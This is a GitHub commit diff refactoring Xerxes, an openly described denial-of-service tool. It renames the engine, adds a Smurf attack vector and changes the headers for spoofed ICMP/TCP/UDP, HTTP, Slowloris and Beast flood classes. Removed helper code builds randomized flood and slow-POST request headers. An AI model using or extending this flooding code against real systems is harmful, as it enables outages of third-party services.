Skip to content

Commit

Permalink
Merge pull request #28 from sepehrdaddev/experimental
Browse files Browse the repository at this point in the history
Experimental
  • Loading branch information
sepehrdaddev authored May 29, 2018
2 parents 1f39719 + f70e734 commit 74c1521
Show file tree
Hide file tree
Showing 34 changed files with 582 additions and 450 deletions.
1 change: 0 additions & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,6 @@ script: make
# blocklist
branches:
except:
- experimental

# safelist
branches:
Expand Down
4 changes: 2 additions & 2 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 2.9)

project(Xerxes)

set(CMAKE_CXX_STANDARD 11)
set(CMAKE_CXX_STANDARD 14)

find_package(PkgConfig REQUIRED)
pkg_search_module(OPENSSL REQUIRED openssl)
Expand All @@ -14,7 +14,7 @@ endif()
set(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
set(BUILD_SHARED_LIBRARIES OFF)
set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive")
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
target_link_libraries(Xerxes ${OPENSSL_LIBRARIES})
target_link_libraries(Xerxes ${CMAKE_DL_LIBS})
add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents)
Expand Down
6 changes: 3 additions & 3 deletions Headers/Attack_Vector.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,12 @@ class Attack_Vector {

public:
Attack_Vector() = default;
Attack_Vector(const config *conf, Logger *logger);
explicit Attack_Vector(std::shared_ptr<Config> config);
virtual void run();
virtual ~Attack_Vector() = default;

protected:
const config *conf;
Logger *logger;
std::shared_ptr<Config> conf;
virtual void pause();

private:
Expand Down
2 changes: 1 addition & 1 deletion Headers/Beast.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@

class Beast : public Attack_Vector {
public:
Beast(const config *conf, Logger *logger);
explicit Beast(std::shared_ptr<Config> conf);

private:
#define FL_PEER_WANT_NEXT_STATE (0x04)
Expand Down
14 changes: 10 additions & 4 deletions Headers/Configuration.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,26 +3,32 @@

#include <string>
#include <vector>
#include <memory>

#include "Version.hpp"
#include "Logger.hpp"

struct config{
struct Config{
enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP,
SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse,
Beast, TearDrop, Land};
enum Protocol{TCP, UDP};
Beast, TearDrop, Land, Smurf};
enum Protocol{TCP = 1, UDP};
Protocol protocol{TCP};
Vector vector{NullTCP};
std::string website{};
std::string port{"1"};
std::vector<std::string> useragents{"Wget/1.16 (linux-gnu/Xerxes)"};
std::string broadcast{};
int THREADS{10};
int CONNECTIONS{25};
bool GetResponse{false};
bool RandomizeUserAgent{false};
bool RandomizeHeader{false};
bool UseSSL{false};
bool RandomizeSource{false};
bool RandomizePort{false};
int delay{0};
const std::unique_ptr<Logger> logger = std::make_unique<Logger>(Logger::Warning);
const std::unique_ptr<std::vector<std::string>> useragents = std::make_unique<std::vector<std::string>>();

};

Expand Down
7 changes: 3 additions & 4 deletions Headers/Doser.hpp → Headers/Engine.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,13 @@
#include "Configuration.hpp"
#include "Logger.hpp"

class Doser {
class Engine {
public:
Doser(config *conf, Logger *logger);
explicit Engine(std::shared_ptr<Config> conf);
void run();

private:
config *conf;
Logger *logger;
std::shared_ptr<Config> conf;

};

Expand Down
4 changes: 3 additions & 1 deletion Headers/Http_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ class Http_Flood : public Attack_Vector {
friend class Null_Flood;
public:
Http_Flood () = default;
Http_Flood (const config *conf, Logger *logger);
explicit Http_Flood (std::shared_ptr<Config> conf);
void run() override;

private:
Expand All @@ -29,6 +29,8 @@ class Http_Flood : public Attack_Vector {
int write_socket(int socket, const char* string, int length);
int write_socket(SSL *ssl, const char* string, int length);
const SSL_METHOD *GetMethod();
virtual void init_header(std::string& header);
virtual void init_header(std::string& header, bool);
};


Expand Down
2 changes: 1 addition & 1 deletion Headers/ICMP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

class ICMP_Flood : public Spoofed_Flood {
public:
ICMP_Flood(const config *conf, Logger *logger);
explicit ICMP_Flood(std::shared_ptr<Config> conf);

private:
void attack(const int *id) override;
Expand Down
2 changes: 1 addition & 1 deletion Headers/Null_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@

class Null_Flood : public Http_Flood {
public:
Null_Flood(const config *conf, Logger *logger);
explicit Null_Flood(std::shared_ptr<Config> conf);

private:
void attack(const int *id) override;
Expand Down
16 changes: 11 additions & 5 deletions Headers/Parser.hpp
Original file line number Diff line number Diff line change
@@ -1,23 +1,29 @@
#ifndef XERXES_PARSER_H
#define XERXES_PARSER_H

#include <string>
#include <memory>
#include <map>
#include <functional>

#include "Configuration.hpp"
#include "Doser.hpp"
#include "Engine.hpp"
#include "Validator.hpp"

class Parser {
public:
void parse_commandline(int argc, const char *argv[]);
Parser();
Parser(config *conf, Logger *logger);
explicit Parser(std::shared_ptr<Config> conf);
static void help();
static void show_banner();

private:
config *conf;
Logger *logger;
void getUserAgents();
std::shared_ptr<Config> conf;
void check_root();
void getUserAgents();
void init_arguments();
std::map<std::string, std::function<void(std::string&)>> arguments;
};


Expand Down
6 changes: 6 additions & 0 deletions Headers/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<img align="left" width="100" height="100" src="../XerxesTheGreat.jpg">

# Xerxes
Xerxes Dos Tool Rewritten in C++

This Directory contains of all header files for Xerxes Project
120 changes: 35 additions & 85 deletions Headers/Randomizer.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -44,91 +44,41 @@ namespace Randomizer{
return vec[randomInt(0, static_cast<int>(vec.size()) -1)];
}

static const std::string randomPacket(const config *conf, bool keep_alive=false){
std::string packet{};
std::vector<std::string> encoding{"\'\'", "*", "identity", "gzip", "deflate"};
std::vector<std::string> caching{"no-cache", "max-age=0"};
std::vector<std::string> charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"};
std::vector<std::string> contenttype{"multipart/form-data", "application/x-url-encoded"};
std::vector<std::string> methods{"GET", "HEAD"};
std::vector<std::string> referer{"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/",
"https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/",
"https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"};
switch(conf->vector){
case config::UDPFlood:
case config::TCPFlood:
return randomstr();
case config::HTTP:{
packet += randomize_Vector(methods) + " /";
if(conf->RandomizeHeader){
packet += randomstr();
}
packet += " HTTP/1.0\r\nUser-Agent: "
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
+" \r\nCache-Control: " + randomize_Vector(caching)
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
+ " \r\nReferer: " + randomize_Vector(referer)
+ " \r\nAccept: */*\r\nConnection: Keep-Alive"
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
+ " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000))
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
+ "\r\n\r\n";
return packet;
}
case config::Slowloris:{
if(keep_alive){
packet += "X-a: "
+ std::to_string(randomInt(1, 5000))
+ " \r\n";
}else{
packet += randomize_Vector(methods) + " /";
if(conf->RandomizeHeader){
packet += randomstr();
}
packet += " HTTP/1.0\r\nUser-Agent: "
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
+ " \r\nCache-Control: " + randomize_Vector(caching)
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
+ " \r\nReferer: " + randomize_Vector(referer)
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
+ " \r\nAccept: */*"
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
+ " \r\nX-a: " + std::to_string(randomInt(1, 5000))
+ " \r\n";
}
return packet;
}
case config::Rudy:{
if(keep_alive){
packet += randomstr();
}else{
packet += "POST /";
if(conf->RandomizeHeader){
packet += randomstr();
}
packet += " HTTP/1.0\r\nUser-Agent: "
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
+ " \r\nCache-Control: " + randomize_Vector(caching)
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
+ " \r\nReferer: " + randomize_Vector(referer)
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
+ " \r\nContent-Length: " + std::to_string(randomInt(100000000, 1000000000))
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
+ " \r\nAccept: */*"
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
+ " \r\nX-a: " + std::to_string(randomInt(1, 5000))
+ " \r\n";
}
return packet;
}
default:
return "";
}
static const std::string random_referer(){
static std::vector<std::string> referer{
"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/",
"https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/",
"https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"};
return randomize_Vector(referer);
}

static const std::string random_useragent(const std::vector<std::string> &useragents){
return randomize_Vector(useragents);
}

static const std::string random_encoding(){
static std::vector<std::string> encoding{"\'\'", "*", "identity", "gzip", "deflate"};
return randomize_Vector(encoding);
}

static const std::string random_caching(){
static std::vector<std::string> caching{"no-cache", "max-age=0"};
return randomize_Vector(caching);
}

static const std::string random_charset(){
static std::vector<std::string> charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"};
return randomize_Vector(charset);
}

static const std::string random_contenttype(){
static std::vector<std::string> contenttype{"multipart/form-data", "application/x-url-encoded"};
return randomize_Vector(contenttype);
}

static const std::string random_method(){
static std::vector<std::string> methods{"GET", "HEAD"};
return randomize_Vector(methods);
}
}

Expand Down
3 changes: 2 additions & 1 deletion Headers/Slowloris.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,12 @@

class Slowloris : public Http_Flood {
public:
Slowloris(const config *conf, Logger *logger);
explicit Slowloris(std::shared_ptr<Config> conf);

private:
void attack(const int *id) override;
void attack_ssl(const int *id) override;
void init_header(std::string& header, bool keep_alive) override;
};


Expand Down
2 changes: 1 addition & 1 deletion Headers/Spoofed_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ class Spoofed_Flood : public Attack_Vector {

public:
Spoofed_Flood() = default;
Spoofed_Flood(const config *conf, Logger *logger);
explicit Spoofed_Flood(std::shared_ptr<Config> conf);

private:
unsigned short csum(unsigned short *buf, int len);
Expand Down
2 changes: 1 addition & 1 deletion Headers/Spoofed_TCP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

class Spoofed_TCP_Flood : public Spoofed_Flood {
public:
Spoofed_TCP_Flood(const config *conf, Logger *logger);
explicit Spoofed_TCP_Flood(std::shared_ptr<Config> conf);

private:
void attack(const int *id) override;
Expand Down
2 changes: 1 addition & 1 deletion Headers/Spoofed_UDP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

class Spoofed_UDP_Flood : public Spoofed_Flood {
public:
Spoofed_UDP_Flood(const config *conf, Logger *logger);
explicit Spoofed_UDP_Flood(std::shared_ptr<Config> conf);

private:
void attack(const int *id) override;
Expand Down
5 changes: 3 additions & 2 deletions Headers/Validator.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -7,15 +7,16 @@ class Validator {
public:
Validator();

explicit Validator(const config *conf);
explicit Validator(std::shared_ptr<Config> conf);
bool Validate();
static bool isValidNumber(char const *num);
private:
const config *conf;
std::shared_ptr<Config> conf;
bool isValidWebsite();
bool isValidPort();
bool isValidConfig();
bool isValidHostname();
bool isValidBroadcast();
};


Expand Down
2 changes: 1 addition & 1 deletion Headers/Version.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@


#define VERSION_MAJOR 1
#define VERSION_MINOR 2
#define VERSION_MINOR 3


#define BUILD_YEAR_CH0 (__DATE__[ 7])
Expand Down
Loading

0 comments on commit 74c1521

Please sign in to comment.